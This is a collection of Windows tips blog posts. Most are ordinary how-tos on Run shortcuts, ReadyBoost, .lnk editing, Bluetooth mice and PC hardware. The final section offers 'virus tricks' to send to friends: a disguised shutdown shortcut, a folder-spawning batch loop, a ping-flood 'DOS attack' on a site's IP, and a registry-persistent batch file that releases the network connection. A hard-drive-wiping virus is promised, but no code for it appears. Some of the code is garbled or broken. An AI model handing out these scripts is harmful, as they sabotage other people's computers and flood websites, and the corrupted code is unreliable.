Thursday, 31 July 2014

How to Create your Own RUN Command

Run is accessed by using Shortcut WIN + R. This RUN command makes easier to access applications with a small command names and no need to search for application in application list.

Create your Own RUN Command in WindowsMany commands are in built along with windows. operating systems. For example commands like  "notepad" for Notepad application and "regedit" for registry editor.

Other than inbuilt commands we can also create our own run commands easily for any application or for any folder to access them easily.

Step 1: Select the software for which you want to make custom Run command. For example, let us consider Mozilla Firefox. You may use any application or software other than which is already there in Run command.

Step 2: In next step Right click on the desktop and make a new Shortcut.

Step 3: As you select the Shortcut, it will open up a dialog box asking the path of the application or software for which you want to create

Step 4: Now you need to provide the path of the application's .exe file i.e. "firefox.exe". It can be found out in the C drive under Program files.

Step 5: After that just provide a relative name for the Shortcut that means rename it with the name which will be used as your Run command. For example, "ff" for Firefox.

Step 6: Now click on Finish button. Then the shortcut of respective application will be created on your desktop screen.

Step 7: In the next step just cut and paste the created Shortcut into the root drive i.e. C:/Windows/. For this make sure you are the administrator of the computer.

Step 8: Now, you are done with the process of creating the Run command and you can Open Run Command and type "ff" to open Mozilla Firefox application.

Similarly you can perform above steps to Create Run Command for various other Programs too. If you want me to write a Particular article of your choice then you can Contact me anytime with the topic and i will try to publish it here on this blog soon

Thursday, 24 July 2014

How to Use Pen-drive as RAM with Ready boost

To use your Pen-drive as RAM, You have to make Sure that you have a Pen-drive which have a Free Storage Capacity of 4 GB.

A pen-drive with 8 GB capacity is Highly Recommended to perform this Task

Step 1: Insert your 4GB or 8GB Pen-drive.

Step 2: Take a Backup of any data already present in your pen-drive, Because its advisable to format your pen-drive before moving forward.

Step 3: Now go to My Computer and Right Click on your Pen-drive to Select Properties.

Step 4: Click on Ready-boost Tab, Now wait couple of seconds so that it analyzes your Pen-drive, Next you will see something like below Picture

Use Pendrive as RAM in Windows

Step 5: Click on Use this Device, Select the number of MB's you want to use out of total space, Then Click on Apply

Step 6: Next you will see Ready boost is Configuring your Cache, When its Done, Just reboot your PC to Feel the Difference

TIP: Once you Start using Ready-boost Feature, you will have to Practice to Remove your Pen-drive Safely Before Ejecting it to Avoid any trouble.

This was a Very simple and Effective Step by Step Guide on How to Use Pen-drive as RAM in Windows PC. I hope this article will help you and so will you Share it on Social Media to Help us Grow.

Thursday, 12 June 2014

How can You Open and Edit Windows .lnk Shortcut Files?

While most people will never need to open a .lnk file to edit it, there may be rare occasions when it is necessary or desired. But how do you open and edit a shortcut file? Today’s SuperUser Q&A post has the answers.
Today’s Question & Answer session comes to us courtesy of SuperUser—a subdivision of Stack Exchange, a community-driven grouping of Q&A web sites.

The Question

SuperUser reader Jez wants to know how to open .lnk files to view the ‘contents’ and edit them if needed:
A .lnk file in Windows is an actual file intended to be a shortcut to another file, but I really do want to view the contents of the .lnk file itself. However, I am finding it literally impossible to do so.
No matter what I try, my applications are opening the contents of the file it points to (drag and drop into a text or hex editor, File –> Open from a text or hex editor, etc.).
Is there any way I can get a program to actually open the .lnk file itself instead of the file it points to?
Is there a way for Jez to actually open .lnk files and edit them?

The Answer

SuperUser contributors and31415, Julian Knight, and Vinayak have the answer for us. First up, and31415:
Using HxD Hex Editor, you can open .lnk files just fine, as long as you do not drag and drop them.
As a workaround, open a command prompt and rename the .lnk file with a different, non-existent extension such as .lne:
  • cd /d “X:\Folder\containing\the\shortcut”
    ren “some shortcut.lnk” “some shortcut.lne”
You will then be able to treat the shortcut just like a regular file. When you are done, make sure to rename the file with the original .lnk extension to restore its usual functionality.
Followed by the answer from Julian Knight:
The whole point of a .lnk file is for Windows to treat it as a link to another file, so it should be hard to edit! Perhaps it would help if you described why you want to edit it. You can change the settings of a .lnk file by right-clicking and choosing Properties.
If you really want to edit it, you need a special tool. There are a few of these around including:
  • lnk-parser
  • LnkEditorGUI
  • lnkedit
I have not tried any of these, just Googled them.
You can also edit the properties via PowerShell (from this previous answer on Stack Overflow):
  • Copy-Item $sourcepath $destination  ## Get the lnk we want to use as a template
    $shell = New-Object -COM WScript.Shell
    $shortcut = $shell.CreateShortcut($destination)  ## Open the lnk
    $shortcut.TargetPath = “C:\path\to\new\exe.exe”  ## Make changes
    $shortcut.Description = “Our new link”  ## This is the “Comment” field
    $shortcut.Save()  ## Save
Since this uses the Shell COM object, you could also do this with WSH or even VBA in Office!
And finally, the answer from Vinayak:
I have tried this and it works for me on Windows 8.1:
Opening .lnk files in Notepad:
  • Just drag and drop them into the Notepad window. If you open them via the Open dialog, Notepad will open the exe file pointed to by the .lnk file.
Opening .lnk files in HxD Hex Editor:
  • Open them as you would any file using the Open dialog (File –> Open).
Opening .lnk files using the command prompt:
  • Navigate to the folder containing the .lnk files and type the command: “TYPE SHORTCUTNAME.LNK”.
Opening .lnk files in just about any program:
  • Start the command prompt, navigate to the folder where the program is located, use the command: PROGRAM_NAME.EXE “path to LNK file.”

How Can I Keep My Bluetooth Mouse Connected?

Bluetooth mice are conveniently cordless but it’s very frustrating when they lose their connection; read on as we troubleshoot a reader’s Windows laptop and help them keep their mouse awake and in communication with their computer.
Dear How-To Geek,
I’m so annoyed with my mouse I’m about to switch back to a full size corded model. I bought a Microsoft Bluetooth Notebook Mouse 5000 about six months ago and started using it with my Windows 7 laptop. Don’t get me wrong, the mouse itself is great and I have no issue with it.
What I do have an issue with is that Windows will randomly fail to see the mouse. No amount of trouble shooting will fix it, short of outright removing the mouse from the Devices menu and then re-syncing it. This happens every other day. I can’t just turn the mouse on and off, I have to full out “re-install it,” if you will.
The mouse in question is very highly reviewed and everyone seems to love it (and I’d love it too if it weren’t for this connectivity issue). Barring that my actual mouse is defective and there’s no fixing it, what can I do to remedy the situation?
Mouse Frustrated
If ever there was an email to motivate us to get around to fixing a problem with one of our infrequently used laptops, this is it. For months we’ve been meaning to take a moment to troubleshoot an identical problem: we too have a Windows 7 laptop laying around the office that frequently forgets it has a little Bluetooth friend. Now that your email has lit a fire under us, let’s boot up the ole laptop in question and document the troubleshooting steps required to remedy the situation.

Update Your Drivers

Most Bluetooth mice don’t have their own individual drivers and simply use the default drivers for a Windows Bluetooth/HID compliant device. That said, the first stop should always be to check for device drivers by searching for the devices name and your operating system. In the case of the Microsoft mouse you’re using there are no device-specific drivers as it uses the generic Windows ones.
There’s a good chance your Bluetooth radio itself, however, (whether you have an on-board one or a dongle) has drivers. There’s also a good chance that they’re out of date. Before attempting the manual fixes we’re about to outline you should ensure you have the most current drivers for your Bluetooth radio. If you’re using generic Windows drivers for the Bluetooth radio you’ll likely find several of the settings you need to toggle will be unavailable.

Enabling Automatic Bluetooth Services

The first stop on the troubleshooting trail is the Services menu. Open your Windows start menu and type “Services” in the search box or hit WIN+R and type “services.msc” in the run dialog box to launch the Services menu. Sort the columns by name and look for the “Bluetooth Support Service” entry.
Right click on that entry and select “Properties.” In the Properties menu look for the “Startup type” entry under the “General” tab.
Switch the type to “Automatic” and hit apply. Close the Services menu.

Disabling Bluetooth Power Management

The updated drivers and the Services tweak are moving us in the right direction. Now it’s time to finish the job. While poor drivers or poor Service management may have been the culprits, it’s also possible that your laptop is aggressively managing the power for Bluetooth devices and, in the process, dropping the Bluetooth connection.
Fire up the device manager by typing “Device Manager” in the Start Menu search box or by pressing WIN+R and typing “devmgmt.msc” in the run dialog box.
Checking the Device Manager is going to be the most tedious part of resolving this problem. You need to look down through the sections of the Device Manager for any mention of a Bluetooth device and/or mouse and check the properties of each instance.  Look under “Bluetooth Radios,” “Mice and other pointing devices,” and “System devices.” What you’re looking for is “Power Management” tabs like this one.
Any instance of “Allow the computer to turn off this device to save power” should be unchecked. You absolutely do not want to allow the computer to turn off either the Bluetooth radio or the attached Bluetooth devices to save power as this is the primary cause of the un-syncing issue you’re seeing with your mouse. In addition to checking through everything for anything Bluetooth related don’t neglect the USB section at the bottom if you have a mouse connected via any kind of USB dongle. If you do, you’ll have to comb through the USB devices listed in the “Universal Serial Bus controllers” section to ensure that the computer isn’t set to turn off USB ports/hubs to save power (which would cause communication problems with the USB-powered dongle and the mouse).
After you’ve updated the drivers, toggled the Services, and unchecked the power management options, reboot your computer. If you’re not enjoying interruption free mouse use at this point we’d strongly recommend finding another Bluetooth mouse to test the system with to rule out a faulty mouse and/or Bluetooth dongle.

Building a PC: Are Integrated Graphics, Sound, and Network Hardware Good Enough?


Motherboards include integrated graphics, sound, and network hardware — but is it good enough, or do you need to buy discrete components when building your own PC?
This hardware was originally designed to be “good enough.” The basics were integrated into the motherboard to save on power and cost, but they’ve improved and are now better than ever.


The GPU (graphics processing unit) was once soldered onto the motherboard, but “integrated graphics” is now integrated into the CPU itself. Intel CPUs come with integrated “Intel HD Graphics” or “Iris Graphics” hardware, while AMD CPUs come with their own brand of integrated graphics. AMD calls these APUs (Accelerated Processing Units) because they contain CPU and GPU hardware on a single chip.
Modern integrated graphics should be fine as long as you don’t plan on playing PC games. If you want good performance in the latest 3D games — or even games a few years old — you should definitely skip the integrated graphics and buy a dedicated graphics hard from the likes of NVIDIA or AMD.
If you’re building a PC for standard desktop software — or even if you’re building a media center PC for video streaming and other media-intensive tasks — integrated graphics should be fine. You won’t notice the difference, but you’ll save money and your computer will use less power.
Not every CPU has integrated graphics, so be sure to double-check if you want to buy a CPU with integrated graphics.


Most PCs use integrated sound hardware. The audio jacks built into typical desktops and laptops connect directly to the sound hardware built into the motherboard, which is responsible for processing audio, outputting it to headphones and speakers, and capturing audio input from microphones.
Sound quality is always a controversial issue. Once you start talking about sound quality, you’re into the realm of the audiophiles. Sound quality is notoriously subjective and you’ll find many audiophiles who think expensive digital cables give you better sound quality. (They don’t.) There is a difference between integrated sound hardware and discrete sound hardware. Integrated sound could be poorly shielded and lead to hissing, or the DAC (digital-to-analog convertor) in the integrated sound could be lower quality.
But, like integrated graphics, integrated sound hardware has improved dramatically over the years.
In our experience, you probably won’t notice the difference between onboard and discrete sound on a modern PC. If you have very discerning ears and higher-end headphones or speakers, you may notice some difference. You’re probably better off investing in better speakers or headphones instead of a discrete sound card if you want to build a PC. (We’re sure audiophiles will think dedicated sound hardware is crucial, of course.)


When it comes to network hardware, there’s an easy answer. The network hardware integrated into your motherboard is almost certainly good enough.
The only discrete network cards really targeted to people building their own PCs are “gamer network cards” that promise to reduce latency and improve Internet gaming performance. They may include some traffic prioritization features — often integrated into the driver software they install on your PC — but you won’t find much of a performance improvement here. Most of the latency you experience when playing a game is caused by routers, switches, miles of cables, and servers outside your PC. Even if it could deliver on its promises, a network card could only do so much.
Traffic prioritization features may help, but only if you’re running a BitTorrent client in the background while gaming — just pause your BitTorrent client before jumping into an online game if this is an issue for you.

In summary: Integrated graphics is fine unless you play PC games, integrated sound is fine for most people, and integrated network hardware is definitely fine.
You can always pick up discrete hardware later. IF you’re not sure what you need, build your PC now and try using the integrated components. If something isn’t performing up to par, you can order a discrete component later and install it.
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Sunday, 1 December 2013

Trick Speed Up Your Net Speed upto 20%

1. First you go to start button
2. Go To Run
3. Type gpedit.msc And Then Hit Enter.
4.Then Expand Adminsitrative Templates.
5.Then Network
6.Then QoS Packet Scheduler.
Now A New List Appear . Click On Limit Reservable
Just Disable it.
Now You Click On Apply .
That's It Now You Are Done !!
Now Just Restart Your Computer . And
I hope You will Get change in Your Speed
Virus to destruct hard drive

Hi friends! There is a Trick to make a Virus which
can Format and Destroy Hard Drive using Notepad.
This Virus can be used to annoy your friends or
enemy. Touse this Trick follow the simple steps
given below :

1) Open Notepad.
2) Copy and Paste the given Code into Notepad :
3) Save it as HardDriveVirus.exe.
4) Now it is done.
5) Don't Run this Fle on your Own Computer. If you
run this file the Hard Drive would be Formated.

WARNING- Don't try this on your own PC.
Make a virus to create 3,000 folders
u can create a virus in notepad that create 3,000
folder with one click.
Open notepad and type following:
@echo off
md %random%
goto top
and save as folder.bat
Send to ur friends and enjoy.
Double click on Internet explorer to Restart the Computer:

1) Goto Desktop
2) Right click > new > Shortcut
3) In “Type the Location of the item” > write: “C:\WINDOWS
\system32\shutdown.exe -r -t 00? without coutes.
4) Click next and in “Type a name for this shortcut” write ”
Internet Explorer” and click Finish.
5) Now Right Click on the shortcut of Internet Explorer and
goto “Change Icon” and select the icon of Internet
6) Now Virus is Ready… haha.. check it out.. when you will
double click on Internet Explorer Shortcut… Computer will
DOS Attack Manually:-

First Open Cmd
From Run => Cmd
Now Follow These Steps -:
1. Now Type This Command In CMD :
2. Now Type =>ping (i.p of site) –t –l 65000
here 65000 is packets

And You Will Get The I.P of Victim

Now Your PC Will Send A Huge Traffic To That Site…

Check That Site After 1 Hours it will be Down..!!!
Try This From More PC For A Good Response..!!
Trick to make Virus which can Disable Internet Permanently

There is a Trick to make Virus which can Disable Internet Permanently. To do this follow these simple steps :

1) Open Notepad.

2) Copy and Paste the following Code into Notepad :

echo @
echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add
hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d
:windowswimn32.bat /f reg add
hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!

3) Save it as Internet Disabled.bat.

4) Now it is done. So it is a simple Trick to make Virus which can Disable Internet Permanently.

And Give this file to your friend... But try At own your Risk .....